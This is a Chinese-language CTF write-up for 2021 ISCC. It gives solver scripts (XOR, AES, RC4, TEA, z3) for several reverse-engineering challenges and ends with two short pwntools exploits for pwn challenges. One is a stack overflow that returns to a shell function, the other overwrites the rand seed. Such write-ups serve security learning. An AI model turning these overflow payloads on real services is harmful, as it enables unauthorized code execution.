2021 ISCC逆向wp和签到pwn
前言:五一来打的这个比赛,上题是分批次的,后面要军训了,难受。这个比赛好像是说原题很多,也不知道了,反正没做过。不得不说,这个比赛py有点多,哈哈哈。
Garden
签到题,pyc用uncompyle6反编译一下,得到py文件,分析一波就是一个异或。
写出脚本
l='2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'
for i in l:
print(chr(ord(i)^123),end='')
//ISCC{Makka2021Pakka}
Mobile Easy
安卓逆向,比较坑的是有一个字符代换,交了半天都不对,模拟器里面又是right。
先主函数分析一波
然后分析secondStr,发现是aes的ECB模式
没找到好的脚本,自己写的那个好像不行,哈哈哈,还是线上解吧https://the-x.cn/cryptography/Aes.aspx
然后thirdStr,解就行了
算出来是:Gg9hwlTP
然后就是replace了
s='+0dNlE8us8'
l=[71,103,57,104,119,108,84,80]
for i in l:
s+=chr(i)
s='ISCC{'+s+'}'
print(s.replace("dN","B1").replace("8","_").replace("P","!").replace("hwl","rea").replace( 'u','1').replace("+","m"))
//ISCC{m0B1lE_1s_Gg9reaT!}
无法注册的程序
一个MFC程序,无法点确定,意味着无法输入字符串,但是我们仍然可以找到检验的位置。
我这里是通过shift+12看字符串定位到check函数的。可以看到字符串里面有part1,part2,b64out,tea_ptr,keyhint这些,通过他们,然后交叉引用就可以找到check函数。而且这些字符串也是算法的提示。
找到check函数就是,sub_5A1080
但是在开始做前,里面有两个提前调用的函数,需要注意,会修改数据。
找到这两个函数,试着打断点,还真断下来了
第一个函数
第二个函数,处理密文
这时候就有两个思路了,写idapython来还原,或者直接将就动调,在执行完这两个函数后,再去看check函数。
这里我是直接写了两个idapython,用的时候注意地址就行了。
import idc
st = 0x545018
i = 0
s='fuck'
print(len(s))
while st < 0x545018+0x2c:
value = ida_bytes.get_byte(st)
value ^= ord(s[i%len(s)])
ida_bytes.patch_byte(st, value)
st += 1
i += 1
import idc
st = 0x545188
i = 0
s='you_can_not_find_me'
print(len(s))
while st < 0x545188+0x292:
value = ida_bytes.get_byte(st)
value ^= ord(s[i%len(s)])
ida_bytes.patch_byte(st, value)
st += 1
i += 1
接下来就可以看check函数了。
第一部分
进入rc4函数部分,这里我直接用动调提出了初始化秘钥后的s,因为写脚本不知道哪出问题了,就直接动调提数据算了。动调就在sub_BCDDC0函数开头,右键点set ip就行。
这样就得到了初始化后的s,解密也用这个s就行了。
接下来看base64
import base64
code=[0x04, 0x48, 0x4D, 0x25, 0x0F, 0x4E, 0x45, 0x58, 0x0C, 0x37,
0x39, 0x50, 0x62, 0x4E, 0x5C, 0x43, 0x0F, 0x42, 0x51, 0x4C,
0x76, 0x53, 0x57, 0x2C, 0x0A, 0x2F, 0x27, 0x38, 0x74, 0x23,
0x55, 0x4D, 0x63, 0x34, 0x25, 0x45, 0x67, 0x40, 0x40, 0x40,
0x0C, 0x2E, 0x25, 0x35]
t=[]
for i in code:
t.append((i-35)&0x3f)
base1 = [0x0,0x1,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xa,0xb,0xc,0xd,0xe,0xf,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f]
base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ans = ''
for i in t:
ans += base[base1.index(i)]
print(ans)
str=base64.b64decode(ans)
print(base64.b64decode(ans))
for i in str:
print(hex(i),end=',')
//0x86,0x5a,0x82,0xb2,0xb8,0xb5,0xa5,0x45,0xad,0xfe,0xbe,0x60,0xb1,0xfb,0xa9,0x4f,0xd,0x9,0x9c,0xc1,0x15,0x44,0xc,0xaa,0x1,0x10,0xa2,0x11,0xd7,0x5d,0xa4,0xb0,0x92
然后rc4解密,注意类型
#include<stdio.h>
#include<string.h>
typedef unsigned longULONG;
void rc4_crypt(unsigned char*s, int*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k<Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char s2[256] = { 0x53, 0xBF, 0x82, 0x49, 0x3A, 0x08, 0xE0, 0xFD, 0x8A, 0xBB,
0x44, 0xC7, 0xC4, 0x99, 0x06, 0x3C, 0xC2, 0x80, 0x68, 0xCF,
0x51, 0x5B, 0xDC, 0x8C, 0x76, 0xB4, 0xBE, 0x62, 0x0F, 0x32,
0xEA, 0x7A, 0xFC, 0x83, 0xD9, 0x63, 0xDB, 0xC9, 0xF7, 0xC6,
0xD4, 0x6C, 0xCB, 0xAF, 0xE9, 0xB3, 0x8B, 0x7E, 0xF5, 0xA1,
0x30, 0xB0, 0xBA, 0x92, 0xDA, 0x9F, 0x43, 0x89, 0x1A, 0x9E,
0x59, 0x6F, 0xE7, 0xD8, 0x74, 0x38, 0x42, 0x12, 0x5A, 0xA0,
0xAD, 0x04, 0x3F, 0x4F, 0xED, 0xB7, 0x4D, 0x95, 0x34, 0x1D,
0x0C, 0xB5, 0x60, 0x0B, 0x6D, 0x5C, 0xE5, 0xA2, 0x05, 0xF9,
0x2C, 0xC8, 0xEB, 0xD3, 0x81, 0x2E, 0x02, 0x73, 0xF0, 0xF3,
0x94, 0xEC, 0x2D, 0xF6, 0x97, 0xB1, 0x7B, 0xC1, 0xA5, 0x2F,
0x6A, 0x47, 0x07, 0x85, 0xB8, 0xBD, 0x18, 0xCA, 0x5E, 0x96,
0x8E, 0xF2, 0xE8, 0x40, 0x71, 0xFF, 0x5D, 0xCD, 0xE3, 0x37,
0xE1, 0x4B, 0xFE, 0xD1, 0x75, 0x03, 0x45, 0x87, 0x66, 0x52,
0x31, 0x8D, 0x4C, 0xB2, 0x9B, 0x39, 0x16, 0x01, 0xAB, 0x54,
0x90, 0x98, 0x2B, 0xF4, 0xA7, 0x0A, 0x35, 0x27, 0x0D, 0x61,
0xA4, 0xA8, 0x6B, 0x48, 0x41, 0x86, 0x23, 0x0E, 0x56, 0x58,
0x46, 0x22, 0xDD, 0x50, 0x79, 0xB6, 0x9D, 0xD7, 0x93, 0x29,
0x77, 0x88, 0xAC, 0xEE, 0x3B, 0x26, 0x28, 0x3E, 0x24, 0x84,
0x67, 0xBC, 0x36, 0x78, 0x4E, 0x21, 0x1B, 0x1E, 0x33, 0xCC,
0x19, 0x5F, 0x25, 0x70, 0x55, 0x09, 0x20, 0xB9, 0xA9, 0xE4,
0x8F, 0x7C, 0x65, 0x14, 0xD0, 0xFA, 0x7F, 0x6E, 0x69, 0x10,
0x57, 0xDF, 0xAA, 0xAE, 0xA3, 0x17, 0x1F, 0x64, 0x1C, 0x72,
0xFB, 0xDE, 0xC3, 0x3D, 0x11, 0x2A, 0x15, 0xC0, 0xF1, 0x00,
0xEF, 0xCE, 0xC5, 0x91, 0xA6, 0x9C, 0x13, 0xD2, 0xD5, 0xE2,
0x7D, 0xD6, 0xF8, 0x4A, 0x9A, 0xE6 };//S-box
char key[256] = { "sorry_you_are_wrong" };
int pData[256] = {0x86,0x5a,0x82,0xb2,0xb8,0xb5,0xa5,0x45,0xad,0xfe,0xbe,0x60,0xb1,0xfb,0xa9,0x4f,0xd,0x9,0x9c,0xc1,0x15,0x44,0xc,0xaa,0x1,0x10,0xa2,0x11,0xd7,0x5d,0xa4,0xb0,0x92};
int i;
rc4_crypt(s2, pData, 33);
for(i=0;i<33;i++)
{
printf("%c",pData[i]%128);
}
return 0;
}
//Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dl
第二部分,改了dealt的tea解密
先用z3来解密文
from z3 import *
s = Solver()
flag = [BitVec('flag[%d]' % i, 64) for i in range(3)]
s.add(flag[1]-flag[0]==0x3F66B755B4490579)
s.add(flag[0]+flag[2]==0x162F924623D2CAE0)
s.add(flag[2]-flag[1]==0x7C3C71F1B295D77F)
print(s.check())
m = s.model()
print(m)
print(hex(3262352701727045364),hex(7830893152465779821),hex(16783048594668704748))
//v7=0x2d46347f5e79f6f4 v10=0x6cacebd512c2fc6d v11=0xe8e95dc6c558d3ec
然后tea解密,dealt是0x2433B95A,注意每轮key不一样
#include<stdio.h>
void decrypt(unsigned int *code , int *key)
{
unsigned int delta=0x2433B95A,sum=0x2433B95A*32;
unsigned int v0,v1,i;
v0=code[0];
v1=code[1];
for(i=0;i<32;i++)
{
v1-=( (v0<<4)+key[2] ) ^ (v0+sum) ^ ( (v0>>5)+key[3] );
v0-=( (v1<<4)+key[0] ) ^ (v1+sum) ^ ( (v1>>5)+key[1] );
sum-=delta;
}
code[0]=v0;
code[1]=v1;
}
int main()
{
int key[4]={0x0DCDEDAE8,0x0EAD2D1A0, 0x0BAC4F564, 0x0DA4772AC};
unsigned int code[2]={0xe8e95dc6,0xc558d3ec};
int i;
decrypt(code,key);
for(i=0;i<2;i++)
{
printf("%c%c%c%c", *((char*)&code[i])&0xff,*((char*)&code[i] + 1)&0xff,*((char*)&code[i] + 2)&0xff,*((char*)&code[i]+3)&0xff);
}
}
//5f1cUlt_foR_THe_r0Ok1E_t0_REver5e
拼接一下,得到ISCC{Fr4nk1y_MfC_l5_t0O_ComPIeX_4nd_dl5f1cUlt_foR_THe_r0Ok1E_t0_REver5e}
Analysis
简单的逆向题,逻辑很清晰
IDA打开
脚本
#include<stdio.h>
#include<string.h>
int main()
{
char flag[26]={0x43,0xDF,0x14,3,0xD,0x2C,9,1,0x17,0x17,8,0xFC,0x2B,0xFA,0x14,0x17
,0xF9,0x25,0xF5,0x22,0x3D,0xCE,0x18,0x16,0xA,'\0'};
int i;
int mid;
char key[8]="REVERSE";
for(i=0;i<strlen(key);i++)
{
key[i]%=64;
}
for(i=0;i<25;i++)
{
if(key[i%7]&1!=0)
{
flag[i]=flag[i]-2;
}
else
{
flag[i]=flag[i]-1;
}
}
for(i=0;i<25/2;i++)
{
mid=flag[i];
flag[i]=flag[24-i];
flag[24-i]=mid;
}
for(i=0;i<25;i++)
{
flag[i]-=key[i%7];
}
for(i=24;i>=0;i--)
{
flag[i]=flag[i]+flag[i+1];
}
for(i=0;i<25;i++)
{
flag[i]+=64;
printf("%c",flag[i]);
}
}
//ISCC{REVERSE_IS_NOT_HARD}
Greedy Snake
擂台赛的一道题,upx加壳了,手动脱壳。游戏想用ce来做的,结果改了相应判断地址数据后发现
好家伙,上当了。
ida看逻辑
脚本1
import base64
url = "QFpKSnJWXFlRKFY8PFY8OVY8MVY9Z21WSz08bCJROVt0"
str_url = base64.b64decode(url)
print(str_url)
//@ZJJrV\\YQ(V<<V<9V<1V=gmVK=<l\"Q9[t
脚本2
#include<stdio.h>
int main()
{
char flag[]="@ZJJrV\\YQ(V<<V<9V<1V=gmVK=<l\"Q9[t";
int i,j;
for(i=1;i<=10;i++)
{
for(j=0;j<33 ;j++)
{
if(33%i)
flag[j]^=i;
else
flag[j]^=j;
}
}
for(i=0;i<33;i++)
{
printf("%c",flag[i]);
}
}
//ISCC{_UPX!_55_50_58_4nd_B45e+X0R}
Ron’s Code
rc4加密,加密前对flag和key进行了一些简单处理
脚本
#include<stdio.h>
#include<string.h>
typedef unsigned longULONG;
void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i<256; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i<256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k<Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char s[256] = { 0 }, s2[256] = { 0 };
char key[256] = { "ITEF6588" };
char key1[9]="ISCC2021";
char flag[512] = {0xE8,0x30,0xE8,0x30,0xC9,0x65,0xA9,0xBA,0x77,0xDA,0xF4,0x4E,0xE3,0xE9,0x60,0x76,0xC1};
unsigned long len = strlen(flag);
int i;
rc4_init(s, (unsigned char*)key, strlen(key));
for (i = 0; i<256; i++)
{
s2[i] = s[i];
}
rc4_crypt(s2, (unsigned char*)flag, len);
for(i=0;i<0x11;i++)
{
flag[i]+=key1[i%8]-1;
printf("%c",flag[i]);
}
return 0;
}
//ISCC{reverse_rc4}
汇编大人,时代变了
文件是一个ll文件,llvm,先转为可执行文件
llc -filetype=obj task.ll -o task.o
gcc task.o
然后ida分析
爆破脚本
#include<stdio.h>
#include<string.h>
//mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n!
int main(void)
{
int i,j;
char what[]={ 0x64, 0x4E, 0x6C, 0x2E, 0x1E, 0x36, 0x38, 0x04, 0x44, 0x12,
0x1C, 0x24, 0x5C, 0x59, 0x3D, 0x0B, 0x5A, 0x78, 0x08, 0x09,
0x76, 0x70, 0x79, 0x33, 0x13, 0x16, 0x20, 0x7E, 0x6B, 0x23,
0x36, 0x45, 0x07, 0x11, 0x2C, 0x22, 0x4A, 0x4A, 0x4F, 0x2E,
0x48, 0x4C, 0x7C, 0x3E, 0x11, 0x0F, 0x6A, 0x18, 0x37, 0x42,
0x1E, 0x2B, 0x12, 0x03, 0x5A, 0x47};
char secret[]={0x42, 0x0A, 0x7C, 0x5F, 0x22, 0x06, 0x1B, 0x67, 0x37, 0x23,
0x5C, 0x46, 0x0A, 0x29, 0x09, 0x30, 0x51, 0x38, 0x5F, 0x7B,
0x59, 0x13, 0x18, 0x0D, 0x50};
char flag[64]={0};
char v4;
for(i=0;i<127;i++)
{
flag[0]=i;
for(j=1;j<strlen(what);j++)
{
flag[j]=flag[j-1]^what[j-1];
}
for(j=0;j<57;j++)
{
v4=flag[j]^secret[j%strlen(secret)];
printf("%c",v4);
}
printf("\n");
}
}
//mAy6e_t0d4Y_7H15_ls_tH3_10n8est_f14g_Y0_HaD_Ev3R_5e3n_!
秘笈
一个易语言写的程序,感觉难点就在于,你需要知道这个程序可以进行输入,这个可以通过你使用键盘时发现一些键无法使用了。这也导致我写wp都不好写了。。。
然后xdbg分析,通过搜索字符串可知,关键就在于3个地方。
eax,是我们键盘按键所产生的数,然后会和下面地址的数进行比较,并且有一个计数器来判断,正确了几个了。
实际上就是,魂斗罗的圣经↑↑↓↓←→←→BABA。我是改的每次的eax值,懒得去记录哪个键代表哪个数值了。会弹出下面的窗口。
然后后面两个判断也差不多是这样。
键盘输入是wankkoree,也就是作者名字。会弹出下面的窗口。
然后就是一个进度条,输入对了进度条就会涨,错了就从新来。
最后弹出flag窗口
cxi
一个3ds的抓包后的文件,要用3dstools来解包。暂时没安装好这个,后面需要的话来补。
M78
最近刚学了点pwn,看着是签到题来做了做,考点就是一个整数溢出漏洞吧,就是对于一个类型确定的变量,比如说unsigned char,8bit,下面的两个数就是相等的。
下面来看看逻辑
exp
#! /usr/bin/python3
from pwn import *
io = process('./M78')
#io=remote("39.96.88.40",'7010')
#gdb.attach(io,'b *0x080492B0')
io.recvuntil("choice?")
io.sendline("1")
io.recvuntil("building")
io.sendline("1")
io.recvuntil("password")
payload = b'a'*0x18 +b'a'*4+ p32(0x08049202)+b'a'*230
io.sendline(payload)
io.interactive()
getshell,catflag
flag{N@x_addr_*EnaBleD%}
game
一个猜数字的题,考察的就是rand()和srand()函数,如果seed设为1,那么rand产生的数组就是一个确切的数组。
大概逻辑
动调看cmp部分
exp
from pwn import *
from ctypes import *
io = process('./game')
#io=remote("39.96.88.40",'7040')
gdb.attach(io)
elf=ELF('./game')
io.recvuntil("Your name is :")
payload=b'a'*(0x30-0x10)+p64(0x0)+p32(0x1)
io.sendline(payload)
a=['55','15','82','1','98','68','67','15','86','3']
for i in a:
io.recvuntil("Guess Number:")
io.sendline(i)
io.interactive()
//ISCC{this****&haobdvaljdnvoa0%bor}